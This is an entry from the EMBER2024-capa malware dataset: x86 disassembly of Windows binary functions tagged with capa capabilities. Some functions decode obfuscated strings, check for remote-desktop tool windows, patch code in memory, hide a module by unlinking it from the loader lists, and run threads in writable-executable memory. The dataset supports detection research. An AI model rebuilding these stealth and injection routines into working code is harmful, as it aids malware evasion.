joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10022810
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp dword [0x100725e0], 0
je 0x10022bd1
mov ecx, 0x4c
xor edx, edx
nop word [eax + eax]
mov al, byte [edx + 0x100639a4]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x1002284d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xb
jl 0x10022830
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x20]
push eax
push 0
mov byte [ebp - 0x15], 0
call esi
test eax, eax
jne 0x100228b1
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x14]
push eax
push 0
mov dword [ebp - 0x14], 0x6d616554
mov dword [ebp - 0x10], 0x77656956
mov word [ebp - 0xc], 0x7265
call esi
test eax, eax
jne 0x100228b1
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x44796e41
push eax
push 0
mov dword [ebp - 4], 0x6b7365
call esi
test eax, eax
jne 0x100228b1
mov dword [0x10071014], eax
pop esi
mov esp, ebp
pop ebp
ret
xorps xmm0, xmm0
mov dword [0x10071d34], 0
mov dword [0x100702f0], 0
mov eax, 1
mov dword [0x1007105c], 0
mov dword [0x100711b8], 0
mov dword [0x10070750], 0
mov dword [0x10075c64], 0
mov dword [0x10072978], 0
mov dword [0x100709f0], 0
mov dword [0x100715d4], 0
mov dword [0x100702c0], 0
mov dword [0x1007076c], 0
mov dword [0x1007280c], 0
mov dword [0x100728d4], 0
mov dword [0x10070894], 0
mov dword [0x100724b4], 0
mov dword [0x1007285c], 0
mov dword [0x1007075c], 0
mov dword [0x10070060], 0
mov dword [0x10071d70], 0
mov dword [0x100729a4], 0
mov dword [0x10072444], 0
mov dword [0x10071934], 0
mov dword [0x10070f60], 0
mov dword [0x10071010], 0
mov dword [0x1007071c], 0
mov dword [0x10070fd8], 0
mov dword [0x10071fec], 0
mov dword [0x10071d6c], 0
mov dword [0x10075c68], 0
mov dword [0x10072804], 0
mov dword [0x10072984], 0
mov dword [0x10070f5c], 0
mov dword [0x100728f8], 0
mov dword [0x10071dbc], 0
mov dword [0x10071d30], 0
mov dword [0x100708c4], 0
mov dword [0x100709ac], 0
mov dword [0x10071044], 0
mov dword [0x10070904], 0
mov dword [0x10071ff8], 0
mov dword [0x10070724], 0
mov dword [0x10072030], 0
mov dword [0x10071db4], 0
mov dword [0x10070758], 0
mov dword [0x100709ec], 0
mov dword [0x10070760], 0
mov dword [0x10071070], 0
mov dword [0x10071924], 0
mov dword [0x10072824], 0
mov dword [0x10072818], 0
mov dword [0x10071d98], 0
mov dword [0x100702bc], 0
mov dword [0x100715b8], 0
mov dword [0x10070f38], 0
mov dword [0x10070920], 0
mov dword [0x10071034], 0
mov dword [0x100725d4], 0
mov dword [0x100725ec], 0
mov dword [0x100724cc], 0
mov dword [0x1007200c], 0
mov dword [0x1007027c], 0
mov dword [0x10075c9c], 0
mov dword [0x10071da4], 0
mov dword [0x10070728], 0
mov dword [0x10072850], 0
mov dword [0x10071068], 0
mov dword [0x10070934], 0
mov dword [0x10075ca0], 0
mov dword [0x100725f4], 0
mov dword [0x1007092c], 0
mov dword [0x100724b8], 0
mov dword [0x1006e050], 0
mov dword [0x10070ff0], 0
mov dword [0x10071da0], 0
movups xmmword [0x100715e8], xmm0
mov dword [0x10071610], 0
movups xmmword [0x100715f8], xmm0
mov dword [0x10071d68], 1
movq qword [0x10071608], xmm0
mov dword [0x10071014], eax
pop esi
mov esp, ebp
pop ebp
ret
mov dword [0x10071014], 0
mov esp, ebp
pop ebp
ret
Function at 0x10025460
Capabilities:
Get hostname

Disassembly:
push 0x1006e048
push 0x10071020
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.10025370
cmp eax, 1
jne 0x1002548c
push str.Win_XP
push 0x10072c10
call fcn.100056e0
add esp, 8
call fcn.10025370
cmp eax, 2
jne 0x100254a8
push str.Win_Vista
push 0x10072c10
call fcn.100056e0
add esp, 8
call fcn.10025370
cmp eax, 3
jne 0x100254c4
push str.Win_7
push 0x10072c10
call fcn.100056e0
add esp, 8
call fcn.10025370
cmp eax, 4
jne 0x100254e0
push str.Win_8
push 0x10072c10
call fcn.100056e0
add esp, 8
call fcn.10025370
cmp eax, 5
jne 0x100254fc
push str.Wi_10
push 0x10072c10
call fcn.100056e0
add esp, 8
ret
Function at 0x100274c0
Capabilities:
Get disk information

Disassembly:
push esi
push 0x64
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
push 0xff
push 0x10070778
push 0x100702f4
push 0x1007298c
push 0x1007006c
push 0xff
push 0x100724d0
push 0x10063a90
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x1007006c]
mov eax, ecx
shl eax, 5
add eax, ecx
push eax
imul eax, ecx, 0x19
push eax
push str._2x_2x
push esi
call fcn.100056e0
add esp, 0x10
mov eax, esi
pop esi
ret
Function at 0x10041c70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10055553
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006eeac]
mov dword [ebp - 0x1c], 0x9ceb32f3
mov dword [ebp - 0x18], 0x9fb1ad87
mov byte [ebp - 0x14], 0x97
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x2bc]
test al, 1
jne 0x10041d15
or eax, 1
mov dword [esi + 0x2bc], eax
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x2ac9], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x2ac0], al
add ecx, 1
adc edx, 0
jne 0x10041d08
cmp ecx, 9
jb 0x10041cf0
push 0x100611e0
call fcn.1004cbb7
add esp, 4
cmp byte [esi + 0x2ac9], 0
lea edi, [esi + 0x2ac0]
je 0x10041d5d
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
mov ecx, esi
mov eax, 0xa58f0197
and ecx, 7
mov edx, 0xf3ddc9a9
shl ecx, 3
call fcn.1004d560
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x10041d59
cmp esi, 9
jb 0x10041d32
mov byte [edi + 9], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.xxxxxxx____xxx_
push 0x10063d10
push edi
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10008580
add esp, 8
mov ebx, eax
push str.xxxxxxxxx
push 0x10063d2c
lea ecx, [ebx + 6]
push edi
mov dword [0x10072244], ecx
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10008580
add esp, 8
lea ecx, [eax + 6]
mov dword [0x100728e4], ecx
test ebx, ebx
je 0x10041dc1
push ecx
push 0x100413a0
push ebx
call fcn.100134d0
jmp 0x10041de8
test eax, eax
je 0x10041dd3
push ecx
push 0x100413c0
push eax
call fcn.100134d0
jmp 0x10041de8
push 0
push 0
push 0
push 0x10041c50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret
Function at 0x10041e10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x10041eae
cmp esi, 0x1000
jbe 0x10041e8a
cmp edi, 0x1000
jbe 0x10041e8a
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10013270
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x10041f1a
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10013270
add esp, 4
cmp esi, 0x1000
jbe 0x10041f1d
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x10041f1a
cmp esi, 0x1000
jbe 0x10041ef8
cmp edi, 0x1000
jbe 0x10041ef8
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10013270
add esp, 4
jmp 0x10041f12
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10013270
add esp, 4
cmp esi, 0x1000
jbe 0x10041f1d
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x10041f34
cmp al, 0x6a
je 0x10041f34
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10041e30
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret
Function at 0x10042ab0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10042bb2
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10042b37
cmp ecx, edi
jne 0x10042b2e
mov edx, dword [eax + 4]
test edx, edx
je 0x10042afc
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x10042afc
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10042b08
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10042b15
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x10042b2e
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x10042b2e
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10042ae1
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1002c420
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10042290
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100431c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x100431ec
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x1004320e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10043210
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x10043295
jg 0x10043225
test esi, esi
je 0x10043295
test ecx, ecx
jl 0x10043278
jg 0x1004322f
test eax, eax
je 0x10043278
cmp edi, ecx
jg 0x10043243
jl 0x10043239
cmp esi, eax
jae 0x10043243
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x10043295
jg 0x1004327b
test esi, esi
je 0x10043295
jmp 0x1004327b
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10043295
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100432b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x100432dc
jl 0x100432d0
test esi, esi
jne 0x100432dc
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x100432f5
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov dword [ebp - 4], esi
mov edx, dword [eax]
test edx, edx
je 0x10043335
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x10043335
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 8], esi
add esp, 0xc
mov dword [ebp - 4], edi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
je 0x100433ec
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x10043360
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov edx, eax
mov ecx, dword [ebp - 8]
cmp eax, 0xfff
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov dword [ebp - 4], edx
jbe 0x100433af
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 8]
sub edi, eax
add ecx, eax
mov dword [ebp - 4], edi
add esp, 0x10
mov dword [ebp - 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x100433d9
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x10043380
cmp dword [ebp - 4], 0
jbe 0x100433ef
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, dword [ebp - 4]
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
mov eax, esi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp - 4]
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10043760
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10043790
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x100437c0
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x100437c0
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x10043895
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x100437e9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100437f5
movsx eax, bl
jmp 0x1004382c
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x10043895
cmp eax, 1
jle 0x10043856
cmp eax, 3
jne 0x10043895
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10043874
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10043895
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x10043895
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret 4
Function at 0x10047390
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x1004744c
cmp byte [esi + 0x3d], 0
je 0x1004744c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x1004743a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x10047401
sub eax, 1
je 0x10047405
sub eax, 2
jne 0x1004743a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10047423
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1004743a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret
Function at 0x1004bf70
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005588d
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x1006e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.1004be10
cmp byte [ebp - 0x84], 0
jne 0x1004c0c1
xor edx, edx
lea ecx, [ebp - 0x3f]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x18], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x17], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x16], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x15], al
add edx, 4
cmp edx, 8
jb 0x1004c005
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x1006e6a0
call fcn.1004be10
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.1004be10
xor edx, edx
lea ecx, [ebp - 0x37]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x28], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x27], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x26], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x25], al
add edx, 4
cmp edx, 0x10
jb 0x1004c074
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.1004bec0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1004c103
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1004c0f9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1004c0f9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1004cb00
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004c1d9
mov esp, ebp
pop ebp
ret
Function at 0x410450
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x4ca578]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push eax
lea eax, [ebp - 0x108]
mov esi, ecx
push 0x104
push eax
call fcn.0044a958
push 0x46f2d8
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.0044a9b2
add esp, 0x18
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x46f2e4
push 0xaa
push str.ENVIRONMENT
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f2f0
push 0xae
push str.CANDIDATE
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f300
push 0xa1
push str.ERRORURL
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f310
push 0x8d
push 0x46f320
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f32c
push 0xad
push str.INSTITUTION
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f33c
push 0x85
push str.INTERVAL
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f34c
push 0xaf
push str.LANGUAGE
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f35c
push 0x8b
push str.LOGPATH
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push str.message.bin
push 0x9e
push str.MESSAGE
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f384
push 0x88
push str.OPTIONS
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f390
push 0xab
push str.PROGRAM
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f39c
push 0x67
push 0x46f3a8
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f3b0
push 0x8e
push 0x46f3bc
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f3c4
push 0x6f
push 0x46f3d0
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f3d8
push 0x96
push 0x46f3e8
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f3f4
push 0x94
push str.UPDATEURL
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f404
push 0x75
push 0x46df68
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f40c
push 0xa8
push str.KILLLIST
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f428
push 0x7c
push str.ALTURL
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push str.ecminver.bin
push 0xa5
push str.ECMINVERSION
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00410230
push 0x46f444
push 0xbc
push str.KILLONQUITLIST
lea eax, [ebp - 0x108]
push eax
mov ecx, esi
call fcn.00410230
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00444ab5
mov esp, ebp
pop ebp
ret 4